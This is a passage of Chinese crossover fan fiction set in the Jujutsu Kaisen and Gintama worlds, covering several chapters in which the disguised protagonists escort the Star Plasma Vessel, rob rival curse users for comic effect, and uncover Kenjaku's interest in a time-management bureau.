看到坂田银时的表情，土方十四郎停下了拉拉环的手，举起来看了眼，发现饮料给反了，于是直接将手里这瓶也抛了过去。
他转身，重新点了一瓶咖啡：“比起担心这个，不如担心担心盘星教的背后会不会真的是羂索，如果是的话，现在这种情况下，羂索还会不会让伏黑甚尔来做这个任务。”
坂田银时将手里的咖啡放在一边的凳子上，重新开了一罐果汁：“什么意思？”
“你忘了？前段时间你们俩个的虐恋情深可是在咒术界传遍了。”
提到这个坂田银时就拉了张脸：“这么离谱的事情谁会信？羂索的本体难不成还是个恋爱脑？”
“但只要他觉得不是空穴来风，就有可能让他改变计划。”
“就算想要改变计划，能接这个任务的，除了伏黑甚尔也没有别人了吧？”
两人就着“这个时期到底还有谁能入羂索眼”的话题，展开了讨论。
正当他们半天商量不出结果的时候，坂田银时兜里的手机突然响了起来。
“说了多少遍，开会的时候手机要关机，违反的人给我去切腹！”
“你真选组的剑还斩不到我万事屋头上。”坂田银时嘚瑟地打开手机，接通电话，“喂，有事说事。”
“五条先生，这里有个您的指名委托。”电话那头，孔时雨声音难得的有些兴奋，“似乎是很满意您上次的效率，这次盘星教想再次委托给您一个任务，报酬光是定金就有三千万！
“不过任务内容... ...是阻止星浆体和天元大人同化，并将星浆体带回到盘星教中。”
坂田银时面无表情地握着手机：“... ...”
这同时擦着意料之中和意料之外的发展，让坂田银时一时间有些哭笑不得。
但转念一想，这不也意味着他可以赚双份报酬了吗？两面间谍什么的他熟。
“喂？您还在吗？我知道这个任务和以往不一样，相当于跟咒术界作对... ...如果您不想接的话，那我帮您回绝掉？”
“接啊。”坂田银时扭头看向还不知道发生什么的土方十四郎，咧嘴一笑，“这种赚钱的好事肯定要接啊。”
当晚，在坂田银时单方面当做诅咒师活动的基地中，三人围坐在一张桌子边。
“也就是说，那什么盘星教不光委托了我一个，还委托了这个人？”
伏黑甚尔靠在椅背上，嘴里嚼着花生米，耳朵虽然在听着，眼睛却盯着对面坂田银时背后的电视上。
看着他不太想回话的样子，孔时雨只好代替回道：“是这样的，可能是这件事涉及到他们的信仰，所以比较严谨。”
“严不严谨的无所谓。”坂田银时摆了摆手，眼神犀利起来，“但是这不是意味着我的报酬要少一半吗？！”
两双眼睛看了过来，伏黑甚尔丝毫没有受影响，伸手抓一把花生米就往嘴里放，嚼得嘎嘣响。
孔时雨只觉得额头冷汗都要冒出来，因为分赃不均导致团队内讧，大打出手的事情也不算罕见，但是可以的话，他不希望在自己眼前出现这种画面，不光容易伤及无辜，还会让他损失大笔生意。
这时，一直默不作声的伏黑甚尔说话了：“你小子不是还有总监部给的报酬吗？做人太贪心可不好。”
“总监部有多抠门你不知道吗？除非... ...”
孔时雨咽了咽口水：“除非？”
“除非我们能分的蛋糕够大。”
这个话题显然引起了在场另外两个财迷的关注，他们齐齐看来，耐心地等待着坂田银时道出后续。
第二天一大早，高专门口就集齐了二年级的三名学生。
家入硝子看着心情放松，宛如去郊游坂田银时和土方十四郎：“你们真的没有问题吗？这次可是和平常不一样，事关整个咒术界，说不定会有很多诅咒师来袭击的。”
“没问题没问题，区区一个星浆体。”坂田银时大手一挥，“我旁边的这位可是连将军都护卫过的。”
“... ...诶，哇，好厉害哦。”
听着对方不带感情的棒读，土方十四郎知道家入硝子没有相信，但也没有在这上面多解释。
“这段时间我们对术式的操控已经熟练了不少，不会再出现上次那种情况了。”
家入硝子看着面容沉稳的土方十四郎，不由得顺着他的话，想起上次在这个门口，看到的那个浑身是血的夏油杰。
身为医生，身为咒术师，她早已经对于生死看淡，但在内心的一角，还是会忍不住对同伴的逝去而悲伤。
“这样。”最终她什么也没说，神情淡淡地挥了挥手，“那就祝你们好运吧。”
按照手机上给的地址，两人来到了星浆体——天内理子居住的楼下，一
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声爆炸声告诉了他们房间的准确位置。
在事情没有发生变化之前，他们决定先按照原著来行动。
土方十四郎乘着这些天新收服的会飞的咒灵一跃而起，直接朝着目的地飞去，也不怕周围有没有目击者。
而坂田银时则是找了个不远不近的距离，开始做拉伸运动，等待着属于他的猎物找上门。
在刚伸展到第一条腿的时候，作为见面礼甩来的数把飞刀被停在空中，诅咒师集团Q的最强战力——拜艾尔如期出现。
那和现代社会格格不入的长发，和那宛如cosplay的服装，就算没有先手攻击，也能让人一眼就注意到他。
不愧是诅咒师，穿着还是一如既往的奇怪。
那人显然对自己的实力很信心，面对这样的画面也依然很淡定，甚至鼓了鼓掌。
“不愧是五条... ...”
“万象天引！嘿咻！”
没有让他说完话，坂田银时直接一个吸力起手，把人拉到自己面前，再用尽全力一拳砸过去，毫无准备的诅咒师就这么丧失了战斗力。
全程用时十秒钟。
解决了诅咒师，坂田银时却并没有收手，他在拜艾尔身上翻找着口袋，最终掏出一部手机和一个钱包。
“好了，你的任务已经失败了，现在该我了。”坂田银时随手拿起一把刚刚掉落的匕首，架在对方脖子上，另一只手拨通了电话，“把你的全部家当都拿出来，我打劫。”
“... ...啊？”
局势转变之快，让还停留在放狠话阶段的拜艾尔有些反应不过来，但看着近在咫尺的匕首，在性命的安危下，他最终还是含着泪选择了妥协。
确认了对方实在是没有保留之后，坂田银时一拳给他物理睡眠，然后将手机举到耳边：“都听清楚了？”
对面传来孔时雨的声音，以及对方飞速敲击键盘的声音：“清楚了，已经在查了。”
这就是坂田银时想出来的“把蛋糕变大计划”。
伏黑甚尔用这三千万定金去暗网上发布悬赏，吸引来一堆诅咒师，然后坂田银时将他们制服之后，赶在总监部之前先黑吃黑，把这些人的老底掏空。
再让这些人一段时间内下不来床，这样诅咒师市场的委托就少了很多人接取。
再由孔时雨去找那些时间紧急的任务，由于实在找不到人接手，就算他们当场抬价，对方也只能硬着头皮答应。
可谓是一波揍人，两头吃，同时兼顾短期效益和长期发展。
神清气爽的坂田银时蹦跶着来到战损版的房间内，当着土方十四郎的面，将刚刚的事情再做了一遍。
看得土方十四郎目瞪口呆，烟也不抽了连声制止：“喂喂喂，这还有个警察在这呢，你就这么无法无天？”
“什么无法无天，我这是用自己的劳动来换取回报。”
“强词夺理。”
土方十四郎上前，一把抓住坂田银时的肩膀，两个人在漏风的客厅里推搡起来。
被安置在一旁沙发上的天内理子，就是在这样嘈杂的背景声中悠悠转醒。
她茫然地看着天花板，听着耳边没有营养的互相呛嘴，感受着脑门吹拂过来的风。
不对，哪来的这么大的风？
她猛地起身，一回头就看到房间多了个大窟窿，楼外飞翔的鸟回头和她对视了一眼，然后扇着翅膀飞走。
天内理子：“... ...”
她想起来了，自己是被诅咒师袭击了来着。
“呀！”的一声，她一个健步就跨在了边上的桌子上，双手在胸前交叉：“你们是什么人！胆敢袭击妾身！”
土方十四郎抬头看去，表情更加一言难尽：“你先从桌子上下来，穿着鞋不要踩桌子。”
“有机会！”
坂田银时趁机一把拽走钱包，然后一个短距离瞬移跑到洞口，大有对方追过来就直接跳楼逃跑的架势。
这分身乏术的场面已经够让土方十四郎头疼了，没想到场面还能变得更糟糕。
他万万没想到，会在这种场面下，听到那个称呼。
天内理子看到土方十四郎的脸，意外地冷静了下来，先是不确定的仔细端详了下，越看越觉得眼熟，最后下定了结论。
捂着嘴，喊出了一个名字：“夏夏子？”
56.第五十六章
奇怪又陌生的名字出现了。
坂田银时看看这边，再看看那边。
天内理子表情期待中带着惊喜，而另一边的土方十四郎则是面露菜色。
两极分化十分严重，其中定有猫腻。
顾忌着会被抢走钱包，坂田银时没有去问土方十四郎，而是一边用眼睛紧紧地盯着土方十四郎，一边慢慢蹭到天内理子边上，问：“你说的那个夏夏子是指的谁啊？”
“诶？”天内理子下意识后退了一步，但因为看到算是熟悉的人，内心的警戒比起一开始少了不少，也能多出心思回答来，“就是那个最近在网上很火的女装肌肉男啊。”
“哦~女装～”
不用提醒，坂田银时就精准提出关键词，脑子里同时浮现出了一个粉嫩的身影。
他上下打量了下脸色已经黑如锅底的土方十四郎，幸灾乐祸地捂着嘴：“真好，没想到这次还能学到新技能，喂~十四，要是以后真选组待不下去了，我可以推荐你去人妖店工作哦。”
“谁要去人妖店！还有那个不是我！”
“肯定是你！”天内理子看对方质疑自己，立马不服气起来，“别的不说，妾身看人的眼光可是很准的，尤其是你那个刘海！就算戴着假发都很显眼，所以我… …妾身记得很清楚！”
“啧啧啧，刘海决定成败啊，十四。”
土方十四郎咬牙瞪了过去：“那就不是我。”
“嗯嗯嗯，不是你。”
坂田银时掏出手机，直接在网上开始搜索“夏夏子”，很快就看到了照片。
“哈哈哈哈哈哈，这不完全就是你吗？”
土方十四郎：“... ...”
他两眼一闭，仿佛这样就能逃离残酷的现实。
坂田银时抓住这个机会，按下快门，记录下他此刻的表情，准备之后回去做成表情包。
并且随手将自己搜到的结果截图，发到了相亲相爱高专人的群里。
得到了夜蛾正道：“你们俩个给我好好做任务！”的回复、一位学弟一位学姐以及一名同期的赞叹、以及另一位学弟的二次退群。
在这人类的悲欢并不相通的具象化场面下，角落里传来一声怒喝。
“你们是谁！”
背靠墙角昏迷的女仆黑井美里，一醒来就看到房间内多了两个陌生人。
失去意识前遭到袭击的她下意识戒备起来，但紧接着就注意到了他们身上的校服。
“原来是高专的学生们。”她松了口气，晃悠着站起身，“多谢你们。”
天内理子连忙跑上前，伸手扶住了没有站稳的黑井，眼神里透着浓浓的担忧。
安抚性地拍了拍天内理子的手，黑井美里看向坂田银时和土方十四郎：“请问两位有什么计划吗？”
两人对视一眼，如果按兵不动，见招拆招算是计划的话，那他们确实算是有计划。
土方十四郎从口袋里掏出一支烟，又想到面前有个未成年，只好又收了回去，重新掏出一根棒棒糖，他无视坂田银时“也给我一根”的眼神，叼着棒棒糖有些含糊不清地转移话题：“比起这个，天内小姐你上学是不是要迟到了？”
“啊！”
天内理子看了看天色，比以往自己出发上学的时候亮了很多，于是赶忙开始在一片废墟的房间内，寻找着自己的书包。
黑井美里怀着疑惑地看向土方十四郎，一般来说，作为护送星浆体的人，第一个应该会担心的事情是如果在外面时间长了，会遇到不必要的变数，从而选择尽早地赶回高专，只有在天元大人结界的庇护下，才能算是安全的地方。
看着这眼神里不加掩饰的询问之意，坂田银时和土方十四郎一个望天，一个望地。
相比于单纯地想按照原著剧情发展，所以不知道怎么解释的土方十四郎，坂田银时的意图就不纯粹了很多，他是想着在外的时间最好越长越好，这样他就可以多勒索一些诅咒师。
“请问，不用立即前往高专没有问题吗？”
最终，出于对天内理子的担忧和自己身负的责任，她还是问了出来。
“没事没事。”正在土方十四郎绞尽脑汁编理由的时候，坂田银时直接给了个万能回答，“我们是最强的。”
去往学校的路上没有发生什么事，估计这群诅咒师也担心，如果在一般社会里闹得太厉害，会被总监部重点关注。
站在校门口，天内理子转身，刚想严令禁止两人跟过去，就看到他们两个齐齐地举起双手，很自觉地朝后退了一步。
没想到两人会这么配合的天内理子愣了一下，然后轻轻咳嗽了下，盖掉内心的尴尬：“... ...那就好。”
土方十四郎随手放出几只蝇头跟在天内理子背后，两个人像个门神一样蹲在地上，一个抽烟，一个抽棒棒糖。
这懒散的样子，就算知道面前两个人的实力很靠谱，也让黑井美里内心开始担心起来。
等待的时间总是无聊的，坂田银时心里念叨着诅咒师们快点来，嘴上有一句没一句地问：“话说，你那个女装是什么情况？转行做网红了？”
土方十四郎满脸沧桑地吐出一口烟：“你应该问问那个人，问问他脑子里的脑回路到底是怎么长的。”
从嘴里拔出棒棒糖，坂田银时将其举向土方十四郎，充作麦克风：“那么这位先生能不能给我们这群好奇人士，解释下具体发生了什么事情。”
“... ...”
土方十四郎脸上闪过一丝抗拒，他努力开导着自己，这件事不管是丢里子还是丢面子，都和自己没什么关系，不要把丢人的事情往自己身上拦。
而且仔细想想，自己貌似还做过更丢人的事情。
这么一对比，他想开了很多，脸上也开朗了一点。
“事情还是要从那个... ...”他卡顿了一下，瞥了眼站在自己不远处的黑井美里，收回了嘴边那个容易引起误会的简称，“要从那个守护天下第一少女偶像星野爱元气笑容教开始说起。”
这不管是长度还是内容都很奇怪的教名，果不其然引起了黑井美里的震惊，她微微瞪大眼睛看过来，然后立马意识到自己这算是偷听，于是收起内心的好奇，向旁边更远的地方走了几步。
这短短的几步再次灼痛了土方十四郎伤痕累累的自尊心，他愤愤地丢掉烟头，继续说着：“那个家伙想要建教，但是前期的资金不够，最近又不是夏季，咒灵数量不多，安排给我们的任务就更少了，所以为了筹资，他就联系了星探。”
这就是传说中的为爱献身吗？为什么一点都感动不起来？
如果夏油杰知道自己女装出
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道，还是因为这种原因出的道，估计就算隔着几个宇宙，都要爬过来揍人吧？
“星探？”坂田银时努力憋住笑，“什么星探眼光那么差，专管谐星的星探吗？”
“还记得上次进警察局时候的事吗？”土方十四郎弯腰捡起熄灭的烟头，放进口袋了专门装烟头的金属盒子里，“最后我们要走的时候，不是冒出来一个面容憔悴的星探吗？”
这回轮到坂田银时感到震惊了：“... ...不是吧？那人来真的啊？还以为是病急乱投医，事后冷静下来就后悔了呢。”
“很遗憾并不是。”土方十四郎双手抱胸，背靠在墙上，“而且更意外的是，这样的网红竟然真的能火，不光短时间内筹集了足够的资金，还拉了一批粉丝进教。”
“你们教还真是鱼龙混杂。”
“这位星探先生现在还兼职管理着教内的杂事，不过因为最近在忙着出版写真集和举办签售会，有些忙不过来，还想着招人。”
“我说怎么上次在布道堂门口那边给我开门的那个人那么眼熟呢。”
坂田银时恍然大悟，想通了一些可有可无的事情。
“不过，签售会啊。”他摩挲着下巴，“要不要和我合作？资金、场地、经验还有人手，我都可以提供哦。”
土方十四郎站直身体，伸展了下四肢：“交给你指不定会乱成什么样，不过这些以后再说，他们来了。”
没有犹豫，三个人快速分工之后，便兵分三路散开。
坂田银时跑向礼堂，然后在门口紧急刹车，仔细整理了下自己的仪容仪表，然后十分刻意地推开大门，摆好角度，准备好迎接一众惊呼。
“坚强又独立的天内，我来了，从此以后你可以不用要强了。”
他甩了甩自己的头发，可惜因为发丝太卷，没能成功甩起来，但是问题不大。
稳了稳心神，他转过身，背对着礼堂里的众人，然后摘下墨镜，一个四十五度角回眸：“因为你的强来了，跟我走吧，天内。”
预想中的尖叫声没有出现，有的只是一片静默。
大家小声地咬着耳朵，眼睛不时地瞥几眼还在凹造型的坂田银时。
“明明脸长得很好看，怎么说话那么怪？”
“强是什么？他名字里有强这个字的意思吗？”
“为什么说话的声音那么颤？是嗓子不舒服，觉得痒吗？”
“他刚刚是不是说的天内？诶，理子你认识他？”
“不，我不认识他！！！”
将头越埋越低的天内理子，几乎是尖叫着否认，在看到坂田银时还要继续说话，满脸通红惊慌失措地上前拽着他的胳膊就往外跑。
和礼堂内的热闹不同，土方十四郎这边安静得有些不对劲，只能听到自己的呼吸声和树叶在风中摩擦的沙沙声。
在他面前，同样也站着一个诅咒师，但样貌却和他印象里的那个会和夏油杰交手的诅咒师不太一样。
他们明明什么也没做，一切行动都是按照原著里的情况进展的，为什么会出现变数呢？
这一丝异样让他提高了警惕，接着就听到对面的人开始开口。
“不要紧张，我没有恶意。”诅咒师裂开嘴，露出参差不齐的牙齿，“我只是不忍心看你被自己的伙伴背叛，过来告诉你一些事情。”
57.第五十七章
土方十四郎眯了眯眼睛，心里直呼不妙，脑子里快速闪过数种可能。
他是不相信坂田银时会背叛自己，只是担心坂田银时的身份是不是被外人发现了。
不管心里再怎么想，他面上的表情还是一贯的稳重，只是淡淡地问：“什么意思？”
“你的那个伙伴，他其实还有一个身份，暗地里他是个诅咒师。”
土方十四郎：“... ...”
看来是他多虑了。
他松了口气，想想也是，从异世界穿越过来就已经很匪夷所思了，更别说什么身份扮演，不光外貌相同，还能使用对方的能力。
上一个能做到这些的人，估计也就是羂索了吧？
诅咒师显然并不满意他的反应，也不卖关子了，直接一口气地全说了：“你知道吗？他明面上和你一起护送星浆体，实际上背地里却接了暗杀星浆体的任务，你们都被他骗了！”
“哦，这样。”
土方十四郎对于这个情报的真实性倒是一点也不怀疑，毕竟以他对坂田银时的了解，两头通吃的事情确实干得出来。
想了想一路上那些被搜刮得干干净净的诅咒师，可能这次还不只是吃两头。
再次感叹，有这头脑，拿来做什么不好，尽用来耍小聪明。
他再次架好架势，准备解决面前这个试图挑拨离间的诅咒师。
眼看自己挑拨没有奏效，诅咒师开始口不择言：“你一点也不在意吗？这意味着你们完不成星浆体的任务，天元的同化失败，整个社会都会因此而动荡！”
这些对于早就提前知道了剧情的土方十四郎来说，一点威慑力都没有，他继续朝前走去。
“好吧，就算你不在乎人类社会的未来，那你难道不在乎身为咒术师的尊严吗？”诅咒师阴沉下脸，“你的同伴表面是个祓除咒灵，为人类社会做贡献的正义之士，背地里却是有着另一副面孔，做着和咒术师截然相反的道路，这样两面三刀的人，你以后还敢相信他吗？”
同样在背地里有着另一副面孔的土方十四郎内心有些复杂，总感觉对面将自己也一起骂了进去。
虽然耽误的时间有些久了，但在处理掉这个人之前，还有件事必须清楚：“这些信息，到底是谁告诉你的？”
诅咒师以为土方十四郎相信了他的话，满意地点了点头：“谁告诉我的并不重要，重要的是你接下来该怎么做。”
“我准备怎么做也不重要，重要的是你到底准备怎么回答我的问题，这决定了我会对你采取什么样行动。”
土方十四郎将手握在腰侧的刀柄上，朝着对面咧嘴一笑：“你也不想多吃苦头吧？”
审问什么的，正是他的强项。
另一边的坂田银时正按照原来剧情的轨迹，刚刚和会分身的诅咒师玩完消消乐。
此刻他蹲在地上，无视边上天内理子难以置信的表情，哼着歌开始自己的扫尾工作。
这一趟下来，可谓是收获颇丰。
但想想这些不光要分一半给伏黑甚尔，还要单独抽一份给孔时雨，他抠门的内心就开始不舍起来。
就在他想着用什么方式独吞的时候，天内理子的手机适时地响起铃声。
掏出手机，看清内容的她大惊失色：“不，不好了！黑井她！！”
“好！我们下一站去冲绳！”
“啊？”天内理子慌张到空白的脑子里卡了一下，然后更焦急了起来，“你突然说什么冲绳？黑井她被绑架了！”
“嗯，我知道。”坂田银时拍了拍天内理子的肩膀，比了个大拇指，“不用担心，我们会在冲绳好好玩几天的。”
牛头不对马嘴的对话没有持续多久，坂田银时就感觉到自己口袋里的手机也在疯狂响铃。
他感到有些意外地接通，就听到对面的土方十四郎让他们到一个地方集合。
那严肃的声音，让坂田银时瞬间就知道出了事，猜到了事情恐怕出现了意料之外的展开。
“没关系的，诅咒师的目标是你，绑架黑井也是为了把你吊出来，只要你还在我们身边，黑井就不会出事。”
几句话安慰住了她，坂田银时担心事情还会发生变故，直接抓着天内理子开始瞬移。
到达目的地之后，他先用六眼扫描了下现场，发现除了土方十四郎的咒力之外，就只有另一个人的咒力了。
而另一个人，此刻正倒在地上，从他的眼睛、鼻子、嘴巴处，流出了大量的鲜血，汇集在地上，形成了一个小血坑。
在这人的脖子处，有数道抓痕，从他的那染着鲜血手指的双手，不难猜测出，这些抓痕正是他本人所为。
看得出来，这个人的最后，走得并不安稳。
土方十四郎站起身，注意到被带来的天内理子，向边上迈了一步，挡住后面的尸体。
坂田银时率先开口询问：“发生什么了？”
“这个人，说了一些有的没的，想要挑拨离间，这些信息不像是能轻易获得的，所以我就想着审问他这些情报是谁透露给他的。”
“你的审问手段原来这么残暴的吗？不愧是鬼之副长。”
土方十四郎没有理睬坂田银时的调侃，继续说着：“我本来快要问出来了，但是突然他就开始道歉，说什么自己不会说的，然后就开始七窍流血，没过一会就没有气息了。”
“听着更像是某个惜命鬼王会干的事情。”
坂田银时上前，用眼睛仔细再检查了一遍，很快就察觉到了原因。
“应该是提前在体内被埋入了咒物，这个咒物有两个，只要其中一个咒物被销毁，另一个也会在瞬间爆炸消失。”
“也就是说，现场有人在监视我们？”
土方十四郎下意识环顾了四周，周围安静一片，没有死角，很难想象对方会在什么地方观察着这里。
“也不一定，我说，就算每天生活在科技落后的咒术界，也不要忘了电子设备的存在啊。”
坂田银时熟练地翻起诅咒师的衣兜，很快就摸到了一部微微发烫的手机，显然在不久之前还在被使用。
点亮之后来看，却只能看到一个锁屏壁纸。
“看来对面挂掉电话了。”
和他们所猜想的最坏结果一样，对面因为这段时间他们的表现，对自己的计划也开始了变化。
细细梳理一番，背后那人，极大可能是羂索，在知道诅咒师烂梗是坂田银时的情况下，没有选择告发，而是选择委托坂田银时做暗杀星浆体的任务。
在知道伏黑甚尔在暗网发布悬赏令之后，又在诅咒师里安插了自己的人，甚至不惜浪费一对咒物，就是为了和土方十四郎说这些挑拨的话。
但这么做有什么必要吗？
按照之前原著里的行动，仅仅一个伏黑甚尔就可以完成这些，是什么让他又搭进去咒物，又搭进去下属的？
同样感到的疑惑的还有羂索。
他端坐在布置豪华的办公室内，指尖细细地撵着已经碎裂的咒物残渣，眼睛瞥向桌子上的一本书。
书页已经泛黄，看得出来被经常翻阅，但是在这样高强度的使用下，纸张不光没有破损，甚至连个折痕也没有，看得出来这本书是被精心保护着的。
而在那书的封面上，写着《时空管理局员工手册》。
这看起来像是玩闹一般的
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书名，在羂索的多次尝试中，得出结论，里面的内容确实货真价实。
捡到这本书只是一个偶然，某天，在他不远处的一个地方，突然爆发出一瞬奇异的能量，那股能量没有咒力那样的负面情绪缠绕，有的只是神秘。
好奇心的驱使下，他来到那个地方，发现了昏迷在地的一个奇异生物。
材质未知的衣服，浑身绿色的皮肤，还有额头上的奇怪触角，怎么看也不像是人类。
但如果说是咒灵，在这个生物的身上，他又没有感觉到一丝咒力的存在，而如果说是天与咒缚，又好像不太对。
对于未知的好奇，让他抓回了这个未知的生物，将其关在总监部经常用来拍卖的建筑地下，那里常年堆放着奇怪的咒物，正是这奇怪生物最好的藏身所。
同时，他也发现了这个生物所携带的一本书。
奇怪的是，虽然这个生物长相奇特，但是所带的书里的文字，却是最熟悉的日文。
不过在这本书里，似乎不是叫日语，而是叫江户星语。
“江户星”，他忍不住想，难道在遥远的宇宙中，会有一颗行星起着熟悉的名字，使用着和他们一样的文明吗？
而所有的疑惑，都在这本书里得到了解答。
咒术界之外的是人类社会，人类社会之外存在着外星人社会，而在这所有的所有以外，跳脱出单独的群体，目之所及的则是更为宏大的——世界。
那一刻，羂索察觉到了自身的渺小。
就算自己活了千年又如何，在这浩瀚的一个个世界中，他也只不过是无法撼动大树的一只蝼蚁。
他的目光，不再只是看着咒术界，而是想要走到更高，更远的地方。
这个世界存在咒力，那别的世界是不是也存在着某种特殊能力？
如果一个人同时获得多种能力，会得到什么样的改变？
他的术式可不可以在异世界人身上也产生效果呢？
在这个世界没有办法完成的事情，没有办法完成的实验，是不是可以在天外的世界中，寻得解答？
野心、求知欲，无数源自人类本能深处的欲1望涌了出来，就像是在桶中被积攒了千年的雨水，一瞬间全部倒出，将他吞没。
他许久没有感受到如此欣喜的情感。
在没日没夜的研究之后，他实验成果的第一个实验对象，就是五条悟和夏油杰。
六眼的存在对他来说就是个阻碍，如果在实验成功的情况下，还解决了个心腹大患，那是最好的结果。
而后者的术式·咒灵操术，虽然也是原本计划中重要的一环，但是在不满足于现状的他眼里，比起恢复平安京的盛况，他更想要看到各个世界融合在一起的繁荣景象。
想要实现这个计划，这两个人的存在就显得多余了不少。
计划的实施意外得很成功。
毕竟未知的天外，世界的真理，神秘的时空之力，这些除了他还未有人知晓，就更别提防范了。
以防万一，他妥善打理好了现场，正准备实施接下来的计划，却在几天之后意外发现，原本应该消失不见的两人，又重新出现在了眼前。
他意识到，背后那个时空管理局开始出手了。
越调查，结果越让他欣喜。
千年来，只有他凭借着术式，可以不停转化身份，使用被寄生者的术式。
而这个时空管理局，竟然轻松地就实现了他术式的能力，甚至效果比他的术式实现得更加好。
他渴望着汲取更多的知识，接触更深层面的世界。
为了达到这个目的，就算是已经筹备了千年的计划，他也可以抛弃。
58.第五十八章
之前能够抓获时空管理局的员工只是个巧合，而且深入了解之后，羂索很失望地发现，这个员工明显只是个底层打工人。
对于核心知识的了解和掌握并不是很深入。
为了获取更深层次的知识，他需要引起时空管理局的注意。
而消失的五条悟和夏油杰再次出现这件事，让他觉得是个突破口。
只有重要到一定程度的存在，才会让时空管理局能够这么迅速地就派出人来填补漏洞。
但是如果是长时间监控着这个世界的时空管理局，应该也知道，在咒术界，一个咒术师失踪个一个月什么的，虽然这种情况比较少，但也不算罕见。
只需要在短时间内，将被他转移走的五条悟和夏油杰找回，事情便能轻松解决。
但他们的应对措施，却是安排两个人假扮。
这件事就有点耐人寻味了。
从那本员工手册里，可以知道，他们时空管理局有一向很重要的使命，那就是保证一个世界能够在正确的轨迹上发展。
那离现在来说，重要的事件是什么呢？
不管怎么想，也只有星浆体和天元同化，这个关乎着全人类社会的事情了吧？
认定了猜想之后，便是要怎么实施计划。
为了引出背后的时空管理局，他首先就是要让这次的事件朝着预想方向的反方向发展。
而对方必须确保这个时间段的五条悟和夏油杰存在，肯定是因为这两个人，星浆体才能成功和天元同化。
换而言之，也就是意味着，要确保星浆体不能和天元成功同化。
在这段时间的观察下来，羂索多少也掌握了点坂田银时和土方十四郎的真实性格。
心怀正义，不惧牺牲，保护弱小也不愿牺牲他人换得胜利。
这样正派的人物，反而让他在这件事上有了能够发挥的空间。
他先是把暗杀星浆体的任务同时发给坂田银时和伏黑甚尔，前者心软放跑星浆体的可能性很大，当然，如果因为这个和同伴意见不合，导致内讧的话就更好了。
后者用来兜底，羂索知道，为了钱财，伏黑甚尔在任务上一向是很守诺言。
至于打破咒术界的循环，有了来自天外世界的力量，有的是办法供他挑选。
他特地挑了个手底下的诅咒师，去探探土方十四郎的口风，顺便挑拨一下关系，却没想到对方这么不在意。
羂索看着手里成灰的咒物皱眉，疑惑不解。
他们根本不在乎自己的任务吗？再这样下去，星浆体就真的不能和天元同化了，那他们来到这个世界的意义是什么？
缺少了关键信息的羂索百思不得其解，皱着眉头冥思苦想。
这边的两个人也想不出个所以然来，最后决定再看看对方出什么招。
强忍着耐心，等待坂田银时和土方十四郎讨论完，天内理子急忙站到他们面前：“请你们救救黑井！她对我很重要！”
坂田银时咳嗽了几声，大手一挥：“不用担心！我这就调动我全国的关系，瞬间就能找到黑井被绑架的所在地！放心交给我吧！”
说完便掏出手机，在通讯录里选择备注为“大胸猩猩”的电话，拨了过去。
手机里响起等待的音乐，坂田银时满脸自信：“放心，以我的实力来说，只要一通电话... ...”
音乐声退去，耳边响起被挂断之后的“嘟嘟”声。
“咳咳，可能是对面现在有点忙，不要急。”
他再次拨了过去，这次被挂断的速度明显比上次快了很多。
在两人的安静注视下，坂田银时脸上忍不住泛起尴尬的红晕，但也拿对面挂他电话的伏黑甚尔没办法，只能不断啊重复着拨打的动作。
终于，在他的不懈努力之下，对面接通了电话。
“烦不烦？做人要识趣一点，被拒绝了就要懂得及时收手。”
“你才是识趣一点！你还分着一半的报酬呢，凭什么我在这东奔西跑，你在那吃香喝辣。”
“谁说我吃香喝辣的了？”伏黑甚尔嚼了几下嘴里的章鱼小丸子，“那些诅咒师提供的财产存放点，你以为是谁跑过去拿走的？还有那个什么绑架，不也是我做的？”
电话那头传来伏黑甚尔的咂嘴声，坂田银时猜到对方肯定又是赌什么东西赌输了。
“算了，不和你计较，地址在哪？”
“不知道，你找孔时雨。”
说完，伏黑甚尔就不耐烦地挂断了电话。
听着耳边那熟悉的忙音，坂田银时额头冒起一个接一个的青筋。
他决定了，自己要单独吞一笔大的。
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虽然不知道坂田银时具体在和手机那头说什么，但是听他的语气，对面好像也不是很服他的样子。
天内理子对于刚刚坂田银时信誓旦旦的人脉说，产生了怀疑，但是现在也只有他有办法，于是咽下了在嘴边的疑惑。
“怎么样了？找到黑井了吗？”
“找到了，放心，我出马，就没有完不成的事情。”
坂田银时咧嘴笑了起来，然后转身指向天空：“下一站！冲绳！”
“... ...所以说，到底为什么是冲绳？”
带着海水独有咸味的海风吹拂在脸上，细细的沙粒在风中被吹起，随着风贴敷在人的肌肤上。
海鸥扇动着翅膀，在一碧如洗的蓝天下翱翔，不时发出一两声鸣叫。
由于不是旅游旺季，沙滩上没有多少人，真是适合度假的好时机。
但度假这个词绝对不应该出现在这么紧张的任务中。
被解救出来的黑井看着在海边玩耍的天内理子还有边上突然性格大变的“夏油杰”，她感觉一切都是那么的虚幻。
转头看向身边，那个传说中的高冷六眼神子，此刻正憨笑着点着手里的一张张银行卡。
怎么看都觉得不对劲，这么轻松真的好吗？
“怎么不好？”坂田银时收起手里的赃物，“都是十几岁的孩子，每天苦大仇深的才不对劲吧？”
“但是小姐她不是一般的孩子，她还有使命。”
“那你想她完成这个使命吗？”坂田银时微微歪头，“以你自己的本心来说。”
“我... ...”
肯定的话卡在喉咙中，却怎么也说不出来。
她看着天内理子从小长到大，在她的心中，对方已经不仅仅只是自己的一个责任，一个任务，而是家人一般的存在。
在以血统和传承为重的咒术界，她竟然对一个没有血缘关系的任务对象，产生了如此奢侈的情感。
她难以说出口，但是在内心角落多少还是有那么一丝的期望。
如果自己有机会，能够带着天内理子自由生活，能够亲眼看到她长大之后的模样，那该多好。
“那就去做呗。”
坂田银时无所谓地耸了耸肩膀：“反正这次同化肯定是要失败的，不如就去做你愿意做的事情吧。”
59.第五十九章
那霸机场内，虽然因为前辈突如其来的想法而多逗留了一天，但是前来支援的七海建人和灰原雄还是认真地巡视着机场内的动向。
虽然那两个前辈告诉他们不用认真，就当是公务出差摸鱼，但是由于他们在平时的种种不靠谱行为，造成了严重的信任危机，于是这条建议并没有得到两个后辈的采纳。
还未成年就被强制加班的七海建人脸色漆黑，深感咒术界对劳动力的压榨严重，双眼一睁，看不见自己未来将要投身的行业的未来。
与之相反的则是边上的灰原雄，他此刻脸上丝毫不见疲惫，在一旁有一句没一句的找七海建人说话，企图缓解下同伴的心情。
虽然效果甚微。
就在这还算平和的气氛中，灰原雄的手机再次响起铃声，让七海建人刚平复了一点的心情更差了。
毕竟上次听到这个铃声之后，自己就被告知要多加班一天。
七海建人怀着不安的心情看向灰原雄的手机。
好在这次对他来说是个好消息，灰原雄扬起笑容，将手机屏幕举到七海建人眼前：“前辈们说，他们已经把星浆体送上回东京的飞机了，这个意思是不是代表着我们任务应该结束了？”
